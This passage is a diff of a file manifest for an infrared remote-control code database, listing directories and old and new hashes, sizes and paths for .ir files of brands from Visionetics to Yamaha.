-F:f35f45b146c31f7012b98fb599430cc0:1740:infrared/_CSV-IRDB_/Visionetics/Unknown_Cable/134,107.ir +F:095f88471a4e56267d51b67a7e01834e:1630:infrared/_CSV-IRDB_/Visionetics/Unknown_Cable/134,107.ir D:infrared/_CSV-IRDB_/Vistron/Unknown_DVD-5211 D:infrared/_CSV-IRDB_/Vistron/Unknown_LTM-3271E -F:31b51536aa440622b893cad420e097c5:3996:infrared/_CSV-IRDB_/Vistron/Unknown_DVD-5211/0,-1.ir -F:6943947ef22bc8b224ddaa2d6cd59a86:4769:infrared/_CSV-IRDB_/Vistron/Unknown_LTM-3271E/8,-1.ir +F:a3cd003a0caef1dae1d1a5e362b2f896:3742:infrared/_CSV-IRDB_/Vistron/Unknown_DVD-5211/0,-1.ir +F:9a06df16fa3c914264573ce1f1d60c6e:4467:infrared/_CSV-IRDB_/Vistron/Unknown_LTM-3271E/8,-1.ir D:infrared/_CSV-IRDB_/Vivanco/Unknown_DVD D:infrared/_CSV-IRDB_/Vivanco/Unknown_UR2 D:infrared/_CSV-IRDB_/Vivanco/Unknown_ur89 -F:6a98253941b0fef1b10a560348040259:3154:infrared/_CSV-IRDB_/Vivanco/Unknown_DVD/26,73.ir -F:9ade230c2f3a755c01c48659b625ecd1:2553:infrared/_CSV-IRDB_/Vivanco/Unknown_UR2/10,-1.ir -F:48265888ab719498f6a9c2a7c2572d99:3524:infrared/_CSV-IRDB_/Vivanco/Unknown_ur89/0,-1.ir +F:b18d7758e32445228c8ad5604ed7337b:2954:infrared/_CSV-IRDB_/Vivanco/Unknown_DVD/26,73.ir +F:893e02e1e74bffb394dbe4dc3aa20eaa:2389:infrared/_CSV-IRDB_/Vivanco/Unknown_UR2/10,-1.ir +F:2e899e863099666dab6a4d4bb026c86b:3300:infrared/_CSV-IRDB_/Vivanco/Unknown_ur89/0,-1.ir D:infrared/_CSV-IRDB_/Vizio/Unknown_VX37L D:infrared/_CSV-IRDB_/Vizio/Unknown_Vizio -F:7bafead1373fb5dc472975158dd9ea79:4536:infrared/_CSV-IRDB_/Vizio/Unknown_VX37L/4,-1.ir -F:90482e3ac11b44856c0bc5b5a504d545:2747:infrared/_CSV-IRDB_/Vizio/Unknown_Vizio/4,-1.ir +F:012a6d55612733fdb5ee7f0a58dff26f:4246:infrared/_CSV-IRDB_/Vizio/Unknown_VX37L/4,-1.ir +F:6fa498809bf35a0d7b679115efd5e207:2571:infrared/_CSV-IRDB_/Vizio/Unknown_Vizio/4,-1.ir D:infrared/_CSV-IRDB_/VocoPro/Karaoke -F:1149b094088392d41683deaa1f58e948:792:infrared/_CSV-IRDB_/VocoPro/Karaoke/32,1.ir +F:688be1e977e13d9d5e384b57dcedcc68:742:infrared/_CSV-IRDB_/VocoPro/Karaoke/32,1.ir D:infrared/_CSV-IRDB_/Voxson/Unknown_PT2222-1 -F:f82bc012f21daa0a2626db1fd6829096:4589:infrared/_CSV-IRDB_/Voxson/Unknown_PT2222-1/0,-1.ir +F:a411bb8878bb0a8c555e63503e7e2fe0:4299:infrared/_CSV-IRDB_/Voxson/Unknown_PT2222-1/0,-1.ir D:infrared/_CSV-IRDB_/WD/Unknown_HDTVMediaPlayerV1 D:infrared/_CSV-IRDB_/WD/Unknown_TV -F:fae482686f97b801103a0baef493989c:1680:infrared/_CSV-IRDB_/WD/Unknown_HDTVMediaPlayerV1/132,121.ir -F:9925d1334e868360f7d23c6e6b52d257:1678:infrared/_CSV-IRDB_/WD/Unknown_TV/132,121.ir +F:ac08336eb7cea5b2f4998c8b7db29956:1576:infrared/_CSV-IRDB_/WD/Unknown_HDTVMediaPlayerV1/132,121.ir +F:1ca8d44134749fbef5de19f81a9c0aa1:1574:infrared/_CSV-IRDB_/WD/Unknown_TV/132,121.ir D:infrared/_CSV-IRDB_/Westinghouse/Unknown_LVM-47W1 D:infrared/_CSV-IRDB_/Westinghouse/Unknown_RMT -F:cb6325827c3bfee82b5ee7114ddad1bb:2849:infrared/_CSV-IRDB_/Westinghouse/Unknown_LVM-47W1/1,-1.ir -F:ea5926973ad824fde2c10008082b51b1:4268:infrared/_CSV-IRDB_/Westinghouse/Unknown_RMT/1,-1.ir +F:d78f66b3ae65b31d5710c5980bf46c73:2667:infrared/_CSV-IRDB_/Westinghouse/Unknown_LVM-47W1/1,-1.ir +F:2fc3401fa01ca296633a2a468cc1b356:3996:infrared/_CSV-IRDB_/Westinghouse/Unknown_RMT/1,-1.ir D:infrared/_CSV-IRDB_/Wilfa/Unknown_RVC-17 -F:0ba9abcd63feacbf41aea519defab81b:792:infrared/_CSV-IRDB_/Wilfa/Unknown_RVC-17/64,175.ir +F:c03084b0fbb584d1e38ecc56886ff79b:742:infrared/_CSV-IRDB_/Wilfa/Unknown_RVC-17/64,175.ir D:infrared/_CSV-IRDB_/XMS/Unknown_XMS503 -F:16bacd0c166d8b9725169255f1dae34f:4568:infrared/_CSV-IRDB_/XMS/Unknown_XMS503/32,-1.ir +F:2fe32575c25e1e072a946a090383a4c2:4278:infrared/_CSV-IRDB_/XMS/Unknown_XMS503/32,-1.ir D:infrared/_CSV-IRDB_/XORO/Sat D:infrared/_CSV-IRDB_/XORO/Unknown_DVB -F:1e0656a1b6a0980f86c0609a2deed1c4:3925:infrared/_CSV-IRDB_/XORO/Sat/0,191.ir -F:9d8ecdb5361161534574ff99bb425b74:2983:infrared/_CSV-IRDB_/XORO/Unknown_DVB/1,-1.ir +F:3d963f84d077371f38eba066186f1512:3665:infrared/_CSV-IRDB_/XORO/Sat/0,191.ir +F:3833c66292b59f7d93a23715d7c4a5d4:2795:infrared/_CSV-IRDB_/XORO/Unknown_DVB/1,-1.ir D:infrared/_CSV-IRDB_/Xantech/Programmer D:infrared/_CSV-IRDB_/Xantech/Relay Module -F:94b34c35181a554a49df029b25bffa95:1503:infrared/_CSV-IRDB_/Xantech/Programmer/6,-1.ir -F:bb7fb110b2e9c6304a32e57357a291e7:2991:infrared/_CSV-IRDB_/Xantech/Relay Module/6,-1.ir +F:fdf0680fb54027879e44c17761c0bc12:1405:infrared/_CSV-IRDB_/Xantech/Programmer/6,-1.ir +F:4f1b6ef3a892847b819b15580bbb33ed:2797:infrared/_CSV-IRDB_/Xantech/Relay Module/6,-1.ir D:infrared/_CSV-IRDB_/Xlogic/Unknown_XLOGIC-KF8000D -F:bad106125575cfce0267ccdbab4b5c89:4485:infrared/_CSV-IRDB_/Xlogic/Unknown_XLOGIC-KF8000D/64,63.ir +F:29870c530b6f1322bf0284a06314477b:4201:infrared/_CSV-IRDB_/Xlogic/Unknown_XLOGIC-KF8000D/64,63.ir D:infrared/_CSV-IRDB_/Xtreamer/Unknown_Xtreamer -F:42f421f5b576f2f37a7dd059f653cbda:3279:infrared/_CSV-IRDB_/Xtreamer/Unknown_Xtreamer/0,-1.ir +F:ae4d0c1fe3259bd10888c2f828691183:3073:infrared/_CSV-IRDB_/Xtreamer/Unknown_Xtreamer/0,-1.ir D:infrared/_CSV-IRDB_/YES/Unknown_YES -F:04887972e737eb6d56bd78e2748710f3:3429:infrared/_CSV-IRDB_/YES/Unknown_YES/132,60.ir +F:7f669e301824cc3c06c03f07334bcfc7:3211:infrared/_CSV-IRDB_/YES/Unknown_YES/132,60.ir D:infrared/_CSV-IRDB_/Yakumo/Unknown_DVD -F:444b94ea18ece6c6c65ddf6c85180c89:4296:infrared/_CSV-IRDB_/Yakumo/Unknown_DVD/4,-1.ir +F:17381071767eb8ba7568d2a2a0250734:4024:infrared/_CSV-IRDB_/Yakumo/Unknown_DVD/4,-1.ir D:infrared/_CSV-IRDB_/Yamada/Unknown_DVX-6xxx D:infrared/_CSV-IRDB_/Yamada/Unknown_PVD-500 -F:d15cd44c9d7090f79d0f22bd0a822bba:4288:infrared/_CSV-IRDB_/Yamada/Unknown_DVX-6xxx/4,-1.ir -F:45bc1cd257d8e7db7831c6064ed3f1ce:3055:infrared/_CSV-IRDB_/Yamada/Unknown_PVD-500/0,-1.ir +F:3c9ed7474ed70bf19bd981477c8ffb11:4016:infrared/_CSV-IRDB_/Yamada/Unknown_DVX-6xxx/4,-1.ir +F:4aedb68a52faa870f1c4357603dc0c66:2861:infrared/_CSV-IRDB_/Yamada/Unknown_PVD-500/0,-1.ir D:infrared/_CSV-IRDB_/Yamaha/Amplifier D:infrared/_CSV-IRDB_/Yamaha/Blu-Ray D:infrared/_CSV-IRDB_/Yamaha/CD Changer @@ -6061,117 +6061,117 @@ D:infrared/_CSV-IRDB_/Yamaha/Unknown_yamaha-amp D:infrared/_CSV-IRDB_/Yamaha/Unknown_yamaha-rax7 D:infrared/_CSV-IRDB_/Yamaha/Video Projector D:infrared/_CSV-IRDB_/Yamaha/iPod Dock -F:6d6d04cd1221fbbbafc85e67fee538d3:3666:infrared/_CSV-IRDB_/Yamaha/Amplifier/120,-1.ir -F:828df3f7c22594956d0ca2e729562171:2689:infrared/_CSV-IRDB_/Yamaha/Amplifier/122,-1.ir -F:0c353937bce0cbedc8c6d47965dc0924:2785:infrared/_CSV-IRDB_/Yamaha/Amplifier/125,-1.ir -F:b42f1504d2ee48e4edc548d43990ab0d:4953:infrared/_CSV-IRDB_/Yamaha/Blu-Ray/124,-1.ir -F:865897bfdcf460e64f00d7b05b8ac986:4284:infrared/_CSV-IRDB_/Yamaha/CD Changer/121,-1.ir -F:7a8950626e99fa81ff7a08411b76ea72:1264:infrared/_CSV-IRDB_/Yamaha/CD Changer/122,-1.ir -F:082fbdcc61efa11e98980600b1fa864b:5065:infrared/_CSV-IRDB_/Yamaha/CD Jukebox/121,-1.ir -F:059d6cf2c33bfc1d9f9ba054f33d301b:133:infrared/_CSV-IRDB_/Yamaha/CD Jukebox/122,-1.ir -F:5fb680b54a10672e0a1db707d36de688:16026:infrared/_CSV-IRDB_/Yamaha/CD Player/121,-1.ir -F:44ee8ea247e1c6a422e917e40242ab0d:1456:infrared/_CSV-IRDB_/Yamaha/CD Player/122,-1.ir -F:c98fd375f1fca95aeb85dfdae44893af:4001:infrared/_CSV-IRDB_/Yamaha/CD-R/127,-1.ir -F:285c7a5d6163423c841e7acf4713e7c1:135:infrared/_CSV-IRDB_/Yamaha/Cassette Tape/122,-1.ir -F:5bb1a6c4d87e027f2ec0dfea9e87b4b8:1195:infrared/_CSV-IRDB_/Yamaha/Cassette Tape/127,-1.ir -F:969fad7dca0263e138b9805702ff2675:5435:infrared/_CSV-IRDB_/Yamaha/DAT/128,55.ir -F:af034b483a9375898916970075fef560:2486:infrared/_CSV-IRDB_/Yamaha/DSP/120,-1.ir -F:b571a54fe3a725f9e232cc6410448917:3573:infrared/_CSV-IRDB_/Yamaha/DSP/122,-1.ir -F:d981c9b6141f38f74ff0d7d8ebb740f3:684:infrared/_CSV-IRDB_/Yamaha/DSP/4,-1.ir -F:99e7199f8781dbd1e7c7b256ced5270d:134:infrared/_CSV-IRDB_/Yamaha/DSP/6,-1.ir -F:3a58307eba225e451bc3c92f84d8e6dd:418:infrared/_CSV-IRDB_/Yamaha/DSP/80,-1.ir -F:9d64af737626e74a66a3527c8d6df115:1289:infrared/_CSV-IRDB_/Yamaha/DSP/87,-1.ir -F:8e6b9dc9c74a292ff7e2733740718fa8:16585:infrared/_CSV-IRDB_/Yamaha/DVD/124,-1.ir -F:4c375b1ec69d37ae9dbf4e51619761d1:3372:infrared/_CSV-IRDB_/Yamaha/DVD/176,0.ir -F:dc60b005453732f5c285541888602444:11721:infrared/_CSV-IRDB_/Yamaha/DVD/4,-1.ir -F:0c96393fef21f4c785ea182fbfeb8bea:7325:infrared/_CSV-IRDB_/Yamaha/DVD Changer/4,-1.ir -F:1309530244b6ad1074f6e5efce4717c1:26312:infrared/_CSV-IRDB_/Yamaha/DVD Player/124,-1.ir -F:da06c4bfc59dfdf1214efc30339a20b9:8185:infrared/_CSV-IRDB_/Yamaha/DVD Player/176,0.ir -F:ad8a889352f9a67a8345f5c7c17df740:17084:infrared/_CSV-IRDB_/Yamaha/DVD Player/4,-1.ir -F:656855a375c5325966280defde986eba:2870:infrared/_CSV-IRDB_/Yamaha/DVD Pre-amp/120,-1.ir -F:7b62c0761d67065d333d3ef7f5977feb:3911:infrared/_CSV-IRDB_/Yamaha/DVD Pre-amp/124,-1.ir -F:878c7a5cdabe3fe8e1bb208559d8d21a:2930:infrared/_CSV-IRDB_/Yamaha/DVD Receiver/120,-1.ir -F:4b2c72d67b2d68c36c249f7fbe375ae9:1832:infrared/_CSV-IRDB_/Yamaha/DVD Receiver/124,-1.ir -F:39ef9a73423bda86b519ff31ec8b9904:3432:infrared/_CSV-IRDB_/Yamaha/DVR/120,-1.ir -F:acb63d8f3a70eefa4ad800660106a958:5108:infrared/_CSV-IRDB_/Yamaha/DVR/124,-1.ir -F:36fdc6243feebf03d9636bd25134b373:419:infrared/_CSV-IRDB_/Yamaha/DVR/71,-1.ir -F:59f6f9847d869a8c0ee719facbc76c0a:2318:infrared/_CSV-IRDB_/Yamaha/Laser Disc/124,-1.ir -F:086642698e7a81ffd5e275e18dc0a4c5:4107:infrared/_CSV-IRDB_/Yamaha/Mini System/120,-1.ir -F:3a3f5571dcd08b448dec748b411d9701:8018:infrared/_CSV-IRDB_/Yamaha/Music Server/128,55.ir -F:8a912673aebafb21bba08bbd5b573aec:2240:infrared/_CSV-IRDB_/Yamaha/Plasma/80,-1.ir -F:899cd676d2a35a4ab62af68743122958:16059:infrared/_CSV-IRDB_/Yamaha/Projector/209,-1.ir -F:4484e013e80eb59e1527852c8dba7408:2305:infrared/_CSV-IRDB_/Yamaha/Projector/240,-1.ir -F:7cc2e7a843a2557b7b9286ba96cffdff:135:infrared/_CSV-IRDB_/Yamaha/Receiver/0,-1.ir -F:6908a04606e7a21bbf240a0f512b7abb:135:infrared/_CSV-IRDB_/Yamaha/Receiver/0,0.ir -F:667cf52d401abb7cea31e9c625d9664f:5230:infrared/_CSV-IRDB_/Yamaha/Receiver/120,-1.ir -F:b955b089d90d1b0d09c85f14acff56b4:129:infrared/_CSV-IRDB_/Yamaha/Receiver/121,-1.ir -F:547f6c404bf775a188b8b37076902b0f:244127:infrared/_CSV-IRDB_/Yamaha/Receiver/122,-1.ir -F:78750667e6d205a9952082c99ab27724:9739:infrared/_CSV-IRDB_/Yamaha/Receiver/124,-1.ir -F:ab242237276af1c5ce499970d7641bcb:16057:infrared/_CSV-IRDB_/Yamaha/Receiver/125,-1.ir -F:7321e2027e7b58d3f04d8fc28b2a8118:225337:infrared/_CSV-IRDB_/Yamaha/Receiver/126,-1.ir -F:1a560451cd5512fe2db37196cde8998d:99934:infrared/_CSV-IRDB_/Yamaha/Receiver/127,1.ir -F:743bc9f27cf57daa3b194adca5fa2095:233:infrared/_CSV-IRDB_/Yamaha/Receiver/15,-1.ir -F:87b94b76dd98b04771b10c3a1cc76fad:743:infrared/_CSV-IRDB_/Yamaha/Receiver/209,-1.ir -F:4d08c404828660aa05e671cfd9c7b747:2127:infrared/_CSV-IRDB_/Yamaha/Receiver/4,-1.ir -F:f1321a64e6fed990760d5aac3945d9fc:231:infrared/_CSV-IRDB_/Yamaha/Receiver/6,-1.ir -F:52d5785ab14ce722f2154c5b8b1975e6:126:infrared/_CSV-IRDB_/Yamaha/Receiver/8,-1.ir -F:4cd3068005a99593a1dac6085030b21a:24745:infrared/_CSV-IRDB_/Yamaha/Sound Projector/120,-1.ir -F:e372d67af6803f77aa4522a1ce7b5ee7:7585:infrared/_CSV-IRDB_/Yamaha/Sound Projector/126,-1.ir -F:df38ab5c616a33f388792080fc962412:7188:infrared/_CSV-IRDB_/Yamaha/Stereo Receiver/125,-1.ir -F:c9177f8f8690a77e13e84d59326cf708:2011:infrared/_CSV-IRDB_/Yamaha/Stereo Receiver/126,-1.ir -F:1ecf6bb901b5f38491e40a6f8812c4dc:1638:infrared/_CSV-IRDB_/Yamaha/Tuner/122,-1.ir -F:1a8ce8a02d4ce07f710deb4d59901b59:897:infrared/_CSV-IRDB_/Yamaha/Tuner/209,-1.ir -F:e30ee3b3e764a4750e0b67f11ac5d457:2879:infrared/_CSV-IRDB_/Yamaha/Unknown_DVD/69,-1.ir -F:92a4e989178fac70fc014e1d427ea7a1:4294:infrared/_CSV-IRDB_/Yamaha/Unknown_DVD-RC/32,-1.ir -F:1912d812800739fb362eb0447cee9913:2494:infrared/_CSV-IRDB_/Yamaha/Unknown_JVCDVD/239,-1.ir -F:54a7e0bbeaef7a64a40815bfc79169cb:3519:infrared/_CSV-IRDB_/Yamaha/Unknown_RAV-12/122,-1.ir -F:87670fc68c9fcd3085bbe35f1ae93918:3750:infrared/_CSV-IRDB_/Yamaha/Unknown_RAV14/122,-1.ir -F:596526f784a7946a5b67165e87e447fb:2787:infrared/_CSV-IRDB_/Yamaha/Unknown_RAV16/122,-1.ir -F:2cb45500fb52a4c62007d7256ea3b238:2492:infrared/_CSV-IRDB_/Yamaha/Unknown_RAV207/122,-1.ir -F:663d5e5edc6986bbf59b730d95c4c4b0:1877:infrared/_CSV-IRDB_/Yamaha/Unknown_RCX/122,-1.ir -F:86e572d8d73376f1d2414bb7d2da38ba:3104:infrared/_CSV-IRDB_/Yamaha/Unknown_RCX-750/122,-1.ir -F:0e7e8611c7feb04881b5f6ae294becdd:2731:infrared/_CSV-IRDB_/Yamaha/Unknown_RCX2/122,-1.ir -F:bef5d35114269d962baab79551a27471:4601:infrared/_CSV-IRDB_/Yamaha/Unknown_RCX660/122,-1.ir -F:ada639db0570a7f902d75ef99f94e945:2019:infrared/_CSV-IRDB_/Yamaha/Unknown_RS-CD5/121,-1.ir -F:1eab5a66323d4014e07b9d61e691b848:890:infrared/_CSV-IRDB_/Yamaha/Unknown_RS-CX600/122,-1.ir -F:20167dec9ace718c07c753f1c1b9f1ea:1034:infrared/_CSV-IRDB_/Yamaha/Unknown_RS-K3/127,-1.ir -F:72a21cfb34895a897ff29bda5f02c6e2:1000:infrared/_CSV-IRDB_/Yamaha/Unknown_RX-450/122,-1.ir -F:2c7d69d378626916aaf1753e80db4790:3180:infrared/_CSV-IRDB_/Yamaha/Unknown_RX-CX800/122,-1.ir -F:855fe3f03dcf62b369ff129fe1b2b57e:4550:infrared/_CSV-IRDB_/Yamaha/Unknown_RX-V850/122,-1.ir -F:0f214cae5f7fab23a5190b80562110da:900:infrared/_CSV-IRDB_/Yamaha/Unknown_TX-1000/209,-1.ir -F:920bde670111f45f1db9e2d53b0ab517:2638:infrared/_CSV-IRDB_/Yamaha/Unknown_V499920/122,-1.ir -F:ea0b3ba4cb83e97ea0ce62384429ad7e:871:infrared/_CSV-IRDB_/Yamaha/Unknown_VI47320/209,-1.ir -F:c99244799499747b000d34bbc609bd04:2602:infrared/_CSV-IRDB_/Yamaha/Unknown_VI77760/127,-1.ir -F:b68ec6a5e70c6b3b3ee883f05b36c2b8:1843:infrared/_CSV-IRDB_/Yamaha/Unknown_VJ59810/121,-1.ir -F:28380e768cd241a96b049b8bca591273:2820:infrared/_CSV-IRDB_/Yamaha/Unknown_VJI5420/121,-1.ir -F:afcde00c3929a84f81c6c358774222ad:1916:infrared/_CSV-IRDB_/Yamaha/Unknown_VK34080/121,-1.ir -F:4defc95582c66ac1fbf70ca487676aaa:3107:infrared/_CSV-IRDB_/Yamaha/Unknown_VK38010/122,-1.ir -F:f23dd64f91d3f49e190b8272c3c9e69b:4982:infrared/_CSV-IRDB_/Yamaha/Unknown_VM70300/122,-1.ir -F:372892f4f11d8710919e04815dbcd9f3:3063:infrared/_CSV-IRDB_/Yamaha/Unknown_VP59040/122,-1.ir -F:0a79c076b6ad140a68f572abda687b11:2847:infrared/_CSV-IRDB_/Yamaha/Unknown_VQ95010/121,-1.ir -F:ac7e6b70f8069b7c1ca5a4b0399c72c2:1842:infrared/_CSV-IRDB_/Yamaha/Unknown_VR81350/123,-1.ir -F:4f3026baad71190434a3aeb3eb09d434:2892:infrared/_CSV-IRDB_/Yamaha/Unknown_VU71330/121,-1.ir -F:ae37b67553bd803ae3fa7872265b64f5:1549:infrared/_CSV-IRDB_/Yamaha/Unknown_Y-TV-1004/4,-1.ir -F:6f36d4bfe625fa1241528305144ad3c3:3229:infrared/_CSV-IRDB_/Yamaha/Unknown_YAMAHA/122,-1.ir -F:3701b0f94990e70063a08f208070cf78:3831:infrared/_CSV-IRDB_/Yamaha/Unknown_av/122,-1.ir -F:d7409ce84e44190d415e54d5d887c5ad:3048:infrared/_CSV-IRDB_/Yamaha/Unknown_cdx-493/121,-1.ir -F:2e5c77166fb1fdd991b29daf16860052:2616:infrared/_CSV-IRDB_/Yamaha/Unknown_rax9/122,-1.ir -F:a4f8eeceea3ac209e882df0a88cebdf5:1676:infrared/_CSV-IRDB_/Yamaha/Unknown_receiver/122,-1.ir -F:413e96f5c819a76910a7a72b3016482c:4311:infrared/_CSV-IRDB_/Yamaha/Unknown_vu50620/120,-1.ir -F:6df88c2aeb005c2ae8d3bba08914a4d6:3865:infrared/_CSV-IRDB_/Yamaha/Unknown_yamaha-amp/122,-1.ir -F:fc684d7383187784f568c6480cf1b528:2729:infrared/_CSV-IRDB_/Yamaha/Unknown_yamaha-rax7/122,-1.ir -F:91ebcd6d01790495ba5ba6f520112432:2507:infrared/_CSV-IRDB_/Yamaha/Video Projector/209,-1.ir -F:900fc3085dd2afdd5a4a016f9f5cd61d:1151:infrared/_CSV-IRDB_/Yamaha/iPod Dock/127,1.ir +F:d0ba1e4b61e46e5368eeb51a3f8a39a5:3430:infrared/_CSV-IRDB_/Yamaha/Amplifier/120,-1.ir +F:ce9f38062c042574c1a950c2d3d63b72:2513:infrared/_CSV-IRDB_/Yamaha/Amplifier/122,-1.ir +F:19e9bc4b0d82e66adb53ec8caed87d00:2603:infrared/_CSV-IRDB_/Yamaha/Amplifier/125,-1.ir +F:65c1518237c09b9f50ea6531e8ed6ba7:4633:infrared/_CSV-IRDB_/Yamaha/Blu-Ray/124,-1.ir +F:9d51596c8eb2fe70ba8c63c782ca2066:4006:infrared/_CSV-IRDB_/Yamaha/CD Changer/121,-1.ir +F:8912e76bb1a9635848ebde8b7f9039af:1184:infrared/_CSV-IRDB_/Yamaha/CD Changer/122,-1.ir +F:4087ea6a38579ddf0ecea61f0f017b87:4739:infrared/_CSV-IRDB_/Yamaha/CD Jukebox/121,-1.ir +F:8aca16ef3e45861166d29c0d5a2a43df:125:infrared/_CSV-IRDB_/Yamaha/CD Jukebox/122,-1.ir +F:fbf3eeede4f5b80eb5a2a6856347c7d8:15004:infrared/_CSV-IRDB_/Yamaha/CD Player/121,-1.ir +F:58c7b505fa5c4a53c59de36b0b3e6c57:1364:infrared/_CSV-IRDB_/Yamaha/CD Player/122,-1.ir +F:5281049a6aaf9acb4c838c113833ada0:3741:infrared/_CSV-IRDB_/Yamaha/CD-R/127,-1.ir +F:01b348cedf590b5e4d28fcb2d6fcf1cd:127:infrared/_CSV-IRDB_/Yamaha/Cassette Tape/122,-1.ir +F:b7f93c913d5c8768eba6472de8c0b97d:1115:infrared/_CSV-IRDB_/Yamaha/Cassette Tape/127,-1.ir +F:6d359489922ff070d6aea66f51f62add:5091:infrared/_CSV-IRDB_/Yamaha/DAT/128,55.ir +F:4a145bf1e03e3e78006958ca4416fd07:2328:infrared/_CSV-IRDB_/Yamaha/DSP/120,-1.ir +F:24bdb5185ad94eeb862a551909e79a81:3343:infrared/_CSV-IRDB_/Yamaha/DSP/122,-1.ir +F:903fccd48d90bfc94fdaa626614457b8:640:infrared/_CSV-IRDB_/Yamaha/DSP/4,-1.ir +F:38f2a6a67e5c4b2d8c40a59a045278fe:126:infrared/_CSV-IRDB_/Yamaha/DSP/6,-1.ir +F:15149e415643613736da3a739fa13829:392:infrared/_CSV-IRDB_/Yamaha/DSP/80,-1.ir +F:43b2f504e99b2faa3220a13338c3779f:1203:infrared/_CSV-IRDB_/Yamaha/DSP/87,-1.ir +F:6bea41ffde851761595f5c308b30f687:15563:infrared/_CSV-IRDB_/Yamaha/DVD/124,-1.ir +F:2741789a6d5831a51dfd72c05cf85924:3154:infrared/_CSV-IRDB_/Yamaha/DVD/176,0.ir +F:57ad4dd632d4cbab675be620a03d73c9:10969:infrared/_CSV-IRDB_/Yamaha/DVD/4,-1.ir +F:c6b81704950d6281680d89c7311f8363:6855:infrared/_CSV-IRDB_/Yamaha/DVD Changer/4,-1.ir +F:053a073287058d79519b57ac3899eca9:24678:infrared/_CSV-IRDB_/Yamaha/DVD Player/124,-1.ir +F:6267d6a3050d014d1bde433f21c8ea0e:7661:infrared/_CSV-IRDB_/Yamaha/DVD Player/176,0.ir +F:5bd20c11c32661a79a8bbf31d7fd7742:15996:infrared/_CSV-IRDB_/Yamaha/DVD Player/4,-1.ir +F:5d691a76aed5d2d3917a19cc7eec2473:2694:infrared/_CSV-IRDB_/Yamaha/DVD Pre-amp/120,-1.ir +F:6451951284e6a9d026a128532896bb70:3657:infrared/_CSV-IRDB_/Yamaha/DVD Pre-amp/124,-1.ir +F:7006a6f6f66e94fa52a523e85db88d6b:2742:infrared/_CSV-IRDB_/Yamaha/DVD Receiver/120,-1.ir +F:5e30ee0a04fff8877d2642acc81d5b23:1716:infrared/_CSV-IRDB_/Yamaha/DVD Receiver/124,-1.ir +F:87e5ea7a537437935f680be65725604e:3214:infrared/_CSV-IRDB_/Yamaha/DVR/120,-1.ir +F:5d653998a6126b13cedcbe746eaa30c9:4776:infrared/_CSV-IRDB_/Yamaha/DVR/124,-1.ir +F:a30d107abdf281384972547bbd690d6f:393:infrared/_CSV-IRDB_/Yamaha/DVR/71,-1.ir +F:be2c8f0edc0226a71cb38950d741f37f:2166:infrared/_CSV-IRDB_/Yamaha/Laser Disc/124,-1.ir +F:6fd9d09a6b951b51ef38d0a753e172b6:3841:infrared/_CSV-IRDB_/Yamaha/Mini System/120,-1.ir +F:1de9651955a759d78c3d56a818f62f13:7506:infrared/_CSV-IRDB_/Yamaha/Music Server/128,55.ir +F:22c182fc2db2859f9e7bdbc189f312d7:2100:infrared/_CSV-IRDB_/Yamaha/Plasma/80,-1.ir +F:d90ea974df9b7d70383670b45a150d64:15061:infrared/_CSV-IRDB_/Yamaha/Projector/209,-1.ir +F:2690df39cae5b002d98c8f76e928b031:2165:infrared/_CSV-IRDB_/Yamaha/Projector/240,-1.ir +F:3b8ae851d89fb35a7329b9ec4a6368f8:127:infrared/_CSV-IRDB_/Yamaha/Receiver/0,-1.ir +F:b7dec5d609bd81206031c09915da1e0b:127:infrared/_CSV-IRDB_/Yamaha/Receiver/0,0.ir +F:6a60f6a1f1b7b7342d1f515b00bc1f26:4898:infrared/_CSV-IRDB_/Yamaha/Receiver/120,-1.ir +F:b4493ebcaba380bd71317ec37f4f4eae:121:infrared/_CSV-IRDB_/Yamaha/Receiver/121,-1.ir +F:588a264937054bc1d6e30c0dccf57fb1:229131:infrared/_CSV-IRDB_/Yamaha/Receiver/122,-1.ir +F:80386f2e0d46d220112787d8113a461b:9119:infrared/_CSV-IRDB_/Yamaha/Receiver/124,-1.ir +F:005e52e20ec9ae35bee9fcd4d2793926:15071:infrared/_CSV-IRDB_/Yamaha/Receiver/125,-1.ir +F:7b7a8371a4e0984c0ccbc63432f82ebf:211931:infrared/_CSV-IRDB_/Yamaha/Receiver/126,-1.ir +F:21a91836b8bce67f110887833f9837c1:93854:infrared/_CSV-IRDB_/Yamaha/Receiver/127,1.ir +F:f64918181aedc9eb43e4946b1c657824:219:infrared/_CSV-IRDB_/Yamaha/Receiver/15,-1.ir +F:3fbe6c1c992f54c31016748bc595209e:693:infrared/_CSV-IRDB_/Yamaha/Receiver/209,-1.ir +F:f4e1039d4b2ce1da3cff7cf2f56c85db:1987:infrared/_CSV-IRDB_/Yamaha/Receiver/4,-1.ir +F:d02b7fe1050bf942d8f790b8e8c9c0f1:217:infrared/_CSV-IRDB_/Yamaha/Receiver/6,-1.ir +F:02deffa2de49dd170a2bca768e01e564:118:infrared/_CSV-IRDB_/Yamaha/Receiver/8,-1.ir +F:45dabf2a83acca33af86fa18c3295891:23231:infrared/_CSV-IRDB_/Yamaha/Sound Projector/120,-1.ir +F:4caa1e22c1d1df08235bfc1763196ab5:7133:infrared/_CSV-IRDB_/Yamaha/Sound Projector/126,-1.ir +F:99142b0891c5348d8b4c1d333baf2b91:6748:infrared/_CSV-IRDB_/Yamaha/Stereo Receiver/125,-1.ir +F:c8a2669cd2458c1f9a6398c63d7a9dbd:1889:infrared/_CSV-IRDB_/Yamaha/Stereo Receiver/126,-1.ir +F:553ca947a8d9e84f3548df3a5fe30948:1534:infrared/_CSV-IRDB_/Yamaha/Tuner/122,-1.ir +F:2bf8b70e7c57b795430f0f03c2382c5a:841:infrared/_CSV-IRDB_/Yamaha/Tuner/209,-1.ir +F:11976a79b71102b75c588dbbd3c9d985:2697:infrared/_CSV-IRDB_/Yamaha/Unknown_DVD/69,-1.ir +F:7359d7beb3bb9edc69e8a482502547fa:4022:infrared/_CSV-IRDB_/Yamaha/Unknown_DVD-RC/32,-1.ir +F:b28565b5be097e818334e46094c13e89:2336:infrared/_CSV-IRDB_/Yamaha/Unknown_JVCDVD/239,-1.ir +F:44f5e1aa3f535e552cc881076b9f0bfa:3301:infrared/_CSV-IRDB_/Yamaha/Unknown_RAV-12/122,-1.ir +F:f85494601ae93940ac8906626b456c69:3514:infrared/_CSV-IRDB_/Yamaha/Unknown_RAV14/122,-1.ir +F:43cdd70c1c14efa4f1c9a971938a0fcb:2611:infrared/_CSV-IRDB_/Yamaha/Unknown_RAV16/122,-1.ir +F:ad287623fe88a0436f0796dffcc8c294:2340:infrared/_CSV-IRDB_/Yamaha/Unknown_RAV207/122,-1.ir +F:41cf39a4f143c5a560f636105e05d6d9:1761:infrared/_CSV-IRDB_/Yamaha/Unknown_RCX/122,-1.ir 